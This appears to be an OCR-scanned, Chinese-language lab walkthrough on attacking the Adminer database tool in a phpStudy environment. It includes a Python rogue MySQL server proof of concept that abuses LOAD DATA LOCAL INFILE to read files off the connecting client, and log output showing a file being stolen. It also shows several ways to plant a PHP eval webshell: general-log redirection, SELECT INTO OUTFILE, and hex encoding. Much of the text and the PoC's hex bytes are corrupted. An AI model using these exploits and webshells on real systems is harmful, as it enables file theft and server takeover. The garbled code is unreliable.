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= PowerShell +

PS E:\tools\Scan\wfuzz> wfuzz .\adminer.txt 200,301 http://192.168.1.105/FUZZ

% % 7 & e % v e % ke e ok e ok T vk ok T vk ok ke vk ke v ok o g ok e ok o v 7k o o ok e ok o e ke ke ke b ok o ok o ke ok e ke ke ok

* Wfuzz 3.0.0 — The Web Fuzzer *
4+ F 3 2 2 2 L2 L E L L L A A2 AL s i i LAl AL LA L LR L S LSS LSS

Target: http://192.168.1.105/FUZZ
Total requests: 46

000e00019: 200 3821 Ch "adminer-4.2.5.php"
000eeReN8] : 200 4196 Ch "adminer.php"

Total time: 3.070031
Processed Requests: U6
Filtered Requests: 4u
Requests/sec.: 1U4.98356

PS E:\tools\Scan\wfuzz>

EEXH1EEY
FIA—:
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POC

#coding=utf-8

import socket

import logging

import sys
logging.basicConfig(level=logging.DEBUG)

filename=sys.argv[1]

sv=socket.socket()

sv.setsockopt(1,2,1)

sv.bind(("",3306))

sv.listen(5)

conn,address=sv.accept()

logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x 1 7\x00\x00\x00\x6e\x 7a\x3b\x54\x 76\ x 73\x61\x6a\Xx00\x f f\xf7
\x21\x02\x00\xQF\x80\x15\x00\x00\x00\x0D\x0D\xDD\xDO\xDO\xOO\xDO\x7@\x76\x21\x3d\Xx50\x5c\x50\x32\x2a\x7a\x49N\x3 f\x00\x6d\x
7N\X73\X71\x6c\X5F\x6e\x61\x74\x69\x 76 \Xx65\X5F\x70\x61\x73\x73\Xx77\x6f\x72\x64\x00")

conn.recv(9999)

logging.info("auth okay")

conn.sendall("\x@7\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" )

conn.recv(9999)

logging.info("want file...")

wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

conn.sendall(wantfile)

content=conn.recv(9999)

logging.info(content)

conn.close()

BRER, IREFIBXEL



@ WiEE:1-192.168.1.100 x +

< G @ @ 192.168.1.105

e MySQL » 192.168.1.101 » $iERE: 1
NiFin, AP Y VMYSOL SEIVe, 1sas yorsie sasenny s o spersponnssay por =+ NWWiadminer-4.2.5.php on line 1177

Adminer 425 477 reading QUERY's OK packet. PID=6240 in C:\phpstudy prolWwwladminer-4.2.5.php on line 1177

rrsrnrg s oy crrer el liNg query in C:iphpstudy_pro\WWWiadminer-4.2.5.php on line 1177

NEG 1 ecuting query in C:\phpstudy_proiWww\adminer-4.2.5.php on line 1178
{#F
VAR 1
FooiEE —re
I 2oeC

AR T 8 < /R SR B

python poc.py "C:\phpstudy_pro\WWW\1.php"
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EE MR v

Adminer 425 477 e

FEHRREN
A% | Mysal v
B%3F | 192.168.1.101
BFP% | root
Bh e

BEE 1

= SNt =

AUIMREREI NS

root@kali:/var/www/html# python poc.py "C:\phpstudy pro\WWW\1l.php"
INFO:root:Conn from: ('192.168.1.105', 50052)

INFO:root:auth okay

INFO:root:want file...

INFO:root:<?php

phpinfo();

7>
root@kali:/var/www/html# |




FIR—:
WENFTRENR, FRINE

create database adminer;
use adminer;

create table test(text text(4096));

MariaDB [(none)]= create database adminer;
Query OK, 1 row affected (0.000 sec)

MariaDB [(none)]l> use adminer;

Database changed

MariaDB [adminer]= create table test(text text(4096));
Query OK, 0 rows affected (0.0108 sec)

MariaDB [adminer]> |}

VIIeJEEAL, B ARCE BV EUEREE R

EANFEE secure_file priv IF, M null AT



¢ @ @ 192.168.1.105

EE: Wik v
Adminer as.2 T
Rk MySQL v
BE%3% | 192.168.1.101
RAPE | root
R sesse
BiEE | adminer
BF RIFaR U
S r o e
HiTar <

load data local infile "C:\\phpstudy_pro\\WAW\\1.php" into table test FIELDS TERMINATED BY '\n';



@ SQOLdi4 - 192.168.1.10 x -+

C @ © 192.168.1.105
1{‘15 ﬁﬁqji N MYSQL » 192.168.1.101 » adminer » SQLﬁI‘@ ;Tig
Adminer 462 4.7.7 SQLiF<
D e B load data local infile "C:\\phpstudy pro\\WWi\\1.php" into table test FIELDS TERMINATED BY '\n
sQL&4 SA S EifRITRRE 3 fTRER R4
il =
glnad data local infile "C:\'\phpstudy_pro‘\\WWW\\1.php" into table test FIELDS TERMINATED BY "'n’;
AR test i
Fry e o

12209008

EAXRES, MINZEEIXMA

MariaDB [adminer]= select * from test:

3 rows in set (0.000 sec)

MariaDB [adminer]> [ %TQSEC




192.168.1.105

EE: Mtk e MySQL » 192.168.1.101 » adminer » 1%+ test
Adminer 262 4.7.7 1%4%: test
DB: adminer hd HEWIE Bl gak s
P A l = 2% HEFF filac) AR ik
SQLiEd 7 Sk - -
‘E'Iifﬁ 50 - 1(]0 — ﬁ&
14 test SELECT * FROM “test® LIMIT 50 Haig
Modify|  text .
W8 | <7php
% | phpinfo();
L
iR Maodify Selected (0) S (3)
397 {RiF L
[95=2c
A
getshell

BT HE getshell
show variables like '%general%';#SEEE2
set global general_log=on#jfj=general logizz(

set global general_log_file="C:\\phpstudy_pro\\WWW\\shell.php';



select "</php @eval(>_POSTL 1 1);7>";

SQLf4 - Adminer X | <+

G @ @ 192.168.1.105

EE Mk = MySQL » localhost » mysgl » SQL#54
Adminer as2 47.7 SQLAF 4
DB: mysql b show variables like '%general%’
= ey Variable name Value

?ﬁé‘;é SN S general_log ON

' general_log _file | C:\phpstudy pro\Extensions\MySQLS5.7.26\data\WIN-H3SCEUS66KH.log

WA admin 247 Hit, Warnings, Sl

#HF columns_priv

& db show variables like '%generalt’;

AT engine _cost

WA event e PO e
VESE func el
e general_log

AT et e

EE EkR v MySQL » localhost » mysgl » SQL#54

Adminer as.2 47.7 SQL#p 4

DB: mysql v set global general_log_file="C:\\phpstudy_pro\\WWW\‘shell.php'
Bl

set global general_log_file="C:\\phpstudy_pro\\WWW\\shell.php';



154%F admin
PEF columns_priv
SEAE Ak

{ 192.168.1.105

b |
o
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fRIfR R 3C 5

Adminer a6.2 4.7.7

MySQL » localhost » mysgl » SQL#4

SQLag <

DB: mysqgl hd

sQLfyé¢ A T
fli

1EFE admin

4% columns_priv
WEAE db

¥ engine_cost
WEE event

JEAE func

AR nanaral lnn

ZFEH: webshell

4 HS [0 192.168.1.105
O B#¥i% (0) <
= ™ Cff
™ phpstudy_pro
. www

select "<?php @eval($_POST['1']1);7>"

<?php @eval($_POST[1]);?>

<7php @eval(3_POST[1]);?>

147 44, Explain, S

J & & &

select "<?php @eval($_POST['1'1);7>";

O 3 f i3 (9)
OFHE ~

+tE CREH #IBR

BIF
1.php

2.php
adminer-4.2.5.php

PR T

A HE ~ C:/phpstudy_pro/WWW/

B A
2020-09-29 22:42:31
2020-09-25 13:16:31
2020-09-29 23:18:32
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£ getshell

select 0x3c3f70687020406576616c28245f504153545b315d293b3f3e into outfile "C:\\phpstudy_pro\\WAW\\1.php";

Adminer N 1
C @ © 192168.1.105
HE Witk - MySQL » localhost » mysgl » SQL#5<
Adminer as2 477 SQL# 4
DB: mysql W select @x3c3f706B7020406576616c2824550841535450315d293b3f%e Into outfile "C:\\phpstudy_pro\\WWW\\1.php"
soL@éd S Si AT | 1 {7508 i
filie %
select Bx3c3f70687020406576616C2824575041535450315d293b3f3e into outfile "C:\\phpstudy_pro\\WWW\\1.php®;
#4E admin
#4F columns_priv
4% db . TYSac
1#%E4¥ engine_cost N o/ L
1%4F event

JEAR fune



